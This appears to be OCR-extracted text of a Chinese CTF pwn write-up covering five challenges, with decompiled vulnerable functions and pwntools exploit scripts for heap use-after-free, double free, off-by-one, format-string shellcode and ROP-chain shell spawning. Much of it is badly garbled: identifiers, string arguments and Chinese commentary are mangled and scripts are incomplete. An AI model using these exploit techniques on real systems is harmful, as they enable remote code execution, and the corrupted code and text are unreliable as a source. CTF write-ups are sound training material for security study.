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176 jarvisoj_itemboard

item_array = (Item **)malloc(@xA@uLL);
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add

item = (Item *)malloc(@x18uLl);

ve = items_cnt++;

item_array[ve] = item;

item->name = (char *)malloc(@x28ulLl);
item->free = (void (*)(ItemStruct *))item_free;
puts("New Item");

puts("Item name?");

fflush(stdout);

read untilgeI bu-FI 32, 162;

strcpy(item->name, buf);

PUTEL Dot P i o Tamr T —

fflush(stdout);

content_len = read_num();

item->description = (char *)malloc(content _len);
puts(“Description?");

fflush(stdout);

read until(@, buf, content len, 18);
strcpy(item->description, buf);

puts("Add Item Successfully!");

2 name dg ? ; offset
B description dg ? ; offset
3 free dg ? ; offset
D TH+rmAm .
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boid _ cdecl list_item()

{
int i; // [rsp+Ch] [rbp-4h]

puts("Item list");
for (1 =0; 1 < items_cnt; ++1 )

{
if ( item_array[i] )

}
fflush(stdout);
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printf("No.%d\tname:%s\n", (unsigned int)i, item_array[i]->name);



show
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{
Item *item; // [rsp+8h] [rbp-16h]
int index; // [rsp+Ch] [rbp-4h]

puts("Which item?");

fflush(stdout);

index = read_num();

if ( index < items_cnt && item_array[index] )

{
item = item_array[(unsigned __int8)index];
puts("Item Detail:");
printf("Name:%s\n", item->name);
printf("Description:%s\n", item->description);
fflush(stdout);
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free

|void __cdecl item_free(Item *
|
free(item->name);
free(item->description);
free(item);
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from pwn import

context.log level

remote(

elf = ELF(
libc = ELF(

def add(name,num,data):
.sendlineafter(
.sendlineafter(
.sendlineafter(

.sendlineafter(

def show(index):
r.sendlineafter(

r.sendlineafter(

def remove(i):
r.sendlineafter(
r.sendlineafter(

16,128, 16)
16,128, 16)
16,128, 16)

, 28946)

(index))

main_arena_88 ub4(r.recv(6).ljust(s, )D)
malloc_hook (main_arena_88 & oxfffffffffffffoeo) (libc.sym[

libc_addr= malloc_hook

libc_addr

)

r.interactive()

libc.sym[ ]
libc.sym[
(libc_addr)

p64(system_addr))

177 asis2016_b00ks
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igned _ int64 sub_B6D()

{

printf("Enter author name: ");

if ( !(unsigned int)sub_9F5(off_202018, 32) )
return OLL;

printf(“fail to read author_name", 32LL);

return 1LL;

HER T Jeheftbss EEEAD 42 F .

signed _ inte4 _ fastcall sub_9F5(_BYTE *al, int a2)

" int i // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if (a2 <=8)
return OLL;

buf = al;
for (1 =03 3 ++1 )
{

if ( (unsigned int)read(®, buf, 1uLL) != 1)
return 1LL;
if ( *buf == 10 )
break:;
++buf;
if (1 ==2a2)
break:;
¥
*buf = 8;
return OLL:

b
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Cif ( (unsigned int)sub_9F5(ptr, v2 - 1) )

{
printf("fail to read name");
¥
else
{
vZ = 8;

printf("\nEnter book description size: ™, *(_QWORD *)&v2);
__iso0c99_scanf("%d", &v2);
if (v2 >=08)
{
v6 = malloc(v2);
if ( ve )
{
printf("Enter book description: ", &v2);
vl = vb6;

if ( (unsigned int)w )
{

printf("Unable to read description");

h

else

add B I A
HiJ57, nameliidescription#lm] LA HY



o

else

{
= malloc(@x20ulLLl);
if ( )
{
*((_DWORD *) + 6) = H
*((_QWORD *)off_202018 + v2) = v3;
*((_QWORD *) + 2) = H
*((_QWORD *) + 1) = ptr;
*(_DWORD *)v3 = ++unk_202024;
return OLL;
}
printf("Unable to allocate book struct™);
j
index
202010 name
des size
des
| _J‘-‘h‘5u
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delete

i=8;

printf("Enter the book id you want to delete: ");
__isoc99_scanf("%d", &vl);

if (vi>e)

{
for (i = @; i <= 19 & (!*((_QWORD *)off_20201@ + i) || **((_DWORD **)off_202018 + i) != vi); ++i )
iF (i1=20)
{
free(*(void **)(*((_QWORD *)off_202010 + i) + 8LL));
free(*(void **)(*((_QWORD *)off_202010 + i) + 16LL));
free(*((void **)off_202010 + i));
*((_QWORD *)off_202018 + i) = OLL;
return ©LL;
¥
printf("Can't find selected book!", &vl);
}
else
{
TRETHE ARG BE 44 T o
edit
1
for (i =@; i <= 19 && (!*(( _QWORD *)off_ 202010 + i) || **((_DWORD **)off_202010 +
if (1i==20)
{
printf("Can't find selected book!™, &v1);
¥
else
{
printf("Enter new book description: ", &vl);
if ( !(unsigned int)sub_9F5(
*( BYTE **)(*((_QWORD *)off 202010 + i) + 16LL),
*(_DWORD *)(*((_QWORD *)off_ 202010 + i) + 24LL) - 1) )
return ©LL;
printf("Unable to read new description");
}
TN EEL.
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..{ :
ve = *((_QWORD *)off_202010 + i);
if ( ve )

{

printf("ID: %d\n", **((unsigned int **)off_2e2e1@ + 1i));
printf("Name: %s\n", *(_QWORD *)(*((_QWORD *)off_202016 + i) + 8LL));

printf("Description: %s\n", *(_QWORD *)(*((_QWORD *)off_28201@ + i) + 16LL));
LODWORD(v@) = printf("Author: %s\n", off_202018);
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igned __inté4 sub_B6eD()
{
printf("Enter author name: ");
if ( !(unsigned int)sub_9F5(off_202018, 32) )
return OLL;
printf("fail to read author_name", 32LL);
return 1LL;
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from pwn import

r remote(




def add(name_size,name,content_size,content):
r.sendlineafter( 5 )

.sendlineafter( (name_size))

.sendlineafter( , hame)

.sendlineafter( 5 (content_size))

"
"
"
"

.sendlineafter( , content)

delete(index):
r.sendlineafter(

r.sendlineafter( (index))

edit(index,content):

r.sendlineafter( )
r.sendlineafter( 5 (index))
r.sendlineafter( , content)

show():
r.sendlineafter(

change(name):
r.sendlineafter(
r.sendlineafter(

r.sendlineafter(
add (0xdo,

)
ub4(r.recv(6).ljust(8,
(heap_addr)

malloc_hook (ub4(r.recvuntil( )[-6:].1just(8,
oxfff)
libc_base malloc_hook libc.symbols|
free_hook libc_base libc.sym[
libc_base libc.sym[
(libc_base)
(malloc_hook)

edit(1,p64(free_hook)+p64(0x8))
edit(3,p64(system_addr))

r.interactive()

))

Oxe0@ + 0x10)+p64(0x20))

OxFEFFFFFFFFF{oee)

(libc.sym[




178 actf 2019 onerepeater
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sub_804864B();
while ( 1)
{
while ( 1 )
{
puts("What you want to do?\nl) Input someing exciting to repeat!\n2) repeat:
__1s0c99_scanf("%d", &vl);
getchar();
if (vl l=2)
break;

sub 89486EEEbuF2;

if (vl ==3)
break;
if (vl ==1)
sub 884§BF (buf, ©exdeeu);
else
printf("What do you mean by %d", vil);
¥
puts("You're welcome~");
return 8;

h
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.text:080487A9 nop

.text:080487AA sub esp, @Ch
.text:880487AD push offset aYouRelWelcome ; "You're welcome~"
.text:086487B2 call _puts
.text:086487B7 add esp, 16h
.text:080487BA mov eax, ©
.text:080487BF mov ecx, [ebp+var_4]
.text:086487C2 leave

.text:080487C3 lea esp, [ecx-4]
.text:080487C6 retn

.text:886487C6 ; } // starts at 86487@5

.text:888487C6& main endp

AT BB R 7ML, it ST HR I, @A S AT R R I b SRt 2 5, fshellcode Tt HL, Bkt
FIATS

PIONFE32( 1), FATES AERAM, widEE 1o



from pwn import

context.log level

r remote(

r.sendlineafter(

((r.recv(8)), 16)

(stack_addr)

ret_addr stack_addr ox418 4

payload fmtstr_payload(16{ret_addr:stack_addr})
r.sendline(payload)

.sendlineafter(

.sendlineafter( ) )
.sendline(asm(shellcraft.sh()))

.sendlineafter(
.interactive()

179 ciscn_2019 s 8

sub_449BE@(e, v1, ©x2eeulLlL);
if ( (unsigned int)sub_4@0C40(Vv1) )
sub_41e558("Correct!");
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= strcpy(&v7, al);

&vi[strlen(v1l)] - &v7;

= sub_4102Be("pass_enc.txt", &unk_4A593F);
if ( (__inti6)v2 > @ )
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v5 = v4;

if ( v4 == &8[(__intie)vz - 1] )
break;

++vd;

SR JE strepy ST i H
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A1 S ropth AT LLHROPgadget

ROPgadget --binary ./179 --ropchain

from pwn import

from struct import pack
context.log_level

def encrypt(data):
crypto
for i in data:
crypto (1)
return crypto

remote(

def payload():
p

0x00000000004040f¢e)
0x000000000V6ba0E0)
0x0000000000449b9c¢ )

0x00000000004717b1)
0x00000000004040fe)
0x00000000V6bake8)
0x000000000044400)
0x00000000004717b1)
0x00000000004006€6 )
0x00000000VV6ba0e0)
0x00000000004040fe)
0x000000000O6ba0e8)
0x0000000000449bf5)
0x00000000PR6bave8

p
p
p
p
p
p
p
p
p
p
p
p
p
p




p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p

0x0000000000444100)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x000000000047400)
0x000000000047400)
0x000000000047400)
0x000000000047400)
0x0000000000474c00)
0x0000000000474c00)
0x000000000047400)
0x000000000047400)
0x000000000047400)
0x000000000047400)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x000000000047400)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x000000000047400)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x0000000000474c00)
0x000000000047400)
0x0000000000474c00)
0x0000000000474c00)




pack( , ©x00000P0eP0B40139C)

return p

payload payload()
r.sendline(encrypt(payload))

r.interactive()

PATRBUIZAE Fexp A A, H 2 1) 8Us A2 R Oy EA 1 payload KK 1 ........
EFEEREe? AT LI BB JE T add rax, 122360F .

HA1HKE T add eax,3, FrLAFATHIT payload H i 4 — T HLAT -



from pwn import

from struct import pack

for i in data:
crypto

return crypto

remote(

payload():
0x50
pack(
pack(
pack(

pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(
pack(

p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p
p

return p

payload = payload()

0x00000000004040fe)
0x00000000006ba0e)
0x0000000000449b9cC )

0x00000000004717b1)
0x00000000004040f¢)
0x00000000006bave8)
0x000000000044400)
0x00000000004717b1)
0x00000000004006€6 )
0x00000000006ba0e0)
0x00000000004040f¢)
0x00000000V6Ebae8)
0x0000000000449b75)
0x00000000V6bhave8)
0x000000000044400)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474c11)
0x0000000000474b18)
0x000000000040139cC)

r.sendline(encrypt(payload))

r.interactive()




180 starctf_2019_girlfriend

lunsigned __int64 add()
i

int v@; // ebx

.| wvoid **v1; // rbx

| unsigned int nbytes; // [rsp+4h] [rbp-1Ch]

| unsigned __int64 nbytes_4; // [rsp+8h] [rbp-18h]

)| nbytes 4 = _ readfsqword(ex28u);

| if ( num > 1ee )

) puts("Enough!");

ve = num;

*((_QWORD *)&addr + v@) = malloc(24uLl);

puts("Please input the size of girl's name");

| __isoc99_scanf("%d");

| *(_DWORD *)(*((_QWORD *)&addr + num) + 8LL) = nbytes;
| vl = (void **)*((_QWORD *)&addr + num);

" *vl = malloc((int)nbytes);

| puts(“"please inpute her name:");

| read(®, **((void ***)&addr + num), nbytes);

)| puts(“"please input her call:");

read(®, (void *)(*((_QWORD *)&addr + num) + 12LL), 1-uLL);
*(_BYTE *)(*((_QWORD *)&addr + num) + 23LL) = @;
puts("Done!");

| ++num;

| return __readfsgqword(ex28u) ~ nbytes 4;




1
’ name
addr
size 4byte \
call 12byte
\, y
\, y

R

show

unsigned _ inté4 _ fastcall show(const char *al)
{
int v2; // [rsp+4h] [rbp-Ch]
unsigned __inté4 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(@x28u);
puts("Please input the index:");
__1s0c99_scanf("%d");
if ( *((_QWORD *)&addr + v2) )
{
puts(“name:");
puts(**((const char ***)&addr + v2));
puts(“phone:");
puts((const char *)(*((_QWORD *)&addr + v2) + 12LL));
¥
puts(“Done!");
return __readfsqword(@x28u) ~ v3;

fth 47 ik



int _ fastcall edit(const char *al)

{
¥

return puts("Programmer is tired, delete it and add a new info.");

edit M H .
delete

exit(@);
if ( *((_QWORD *)&addr + v3) )

free(**((void ***)&addr + v3))
vl = time(©LL);

srand(vl);
if ( rand() % 10 > 1 )

BEAZIE R T uaf,

TATHE @ v B, ME AL, SRR R
i1t double free, Ziimalloc_hook - 0x23, FHiH#EH; 45K .



push
push
push
push
mov
push
push
mov
sub

rls
rl4
rl3
rl2
rl3,
rbp
rbx
rbx,
rsp:

; Alternative nal

rdi
38h

hitpsdiplogesdn.net/yongbaoii
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from pwn import

context.log level

remote( ,29601)

def add(size,name):
r.sendlineafter( 5 )
r.sendlineafter( 5 (size))
r.sendlineafter( ,hame)

r.sendlineafter( 5

def show(idx):
r.sendlineafter(
r.sendlineafter(

def delete(idx):
r .sendlineafter(
r .sendlineafter(

add (0x89,
add (0x68,

malloc_hook
oxfff)
libc_base

(ub4(r.recvuntil( )[-6:].1just(8,

malloc_hook - libc.sym[

oxf1147

libc.sym[
(libc_base)

libc_base
libc_base

p64(one_gadget) p64(realloc

r.sendlineafter(

r.interactive()

)

2))

OxFFFFFFFFFFFF000)

(libc.sym[
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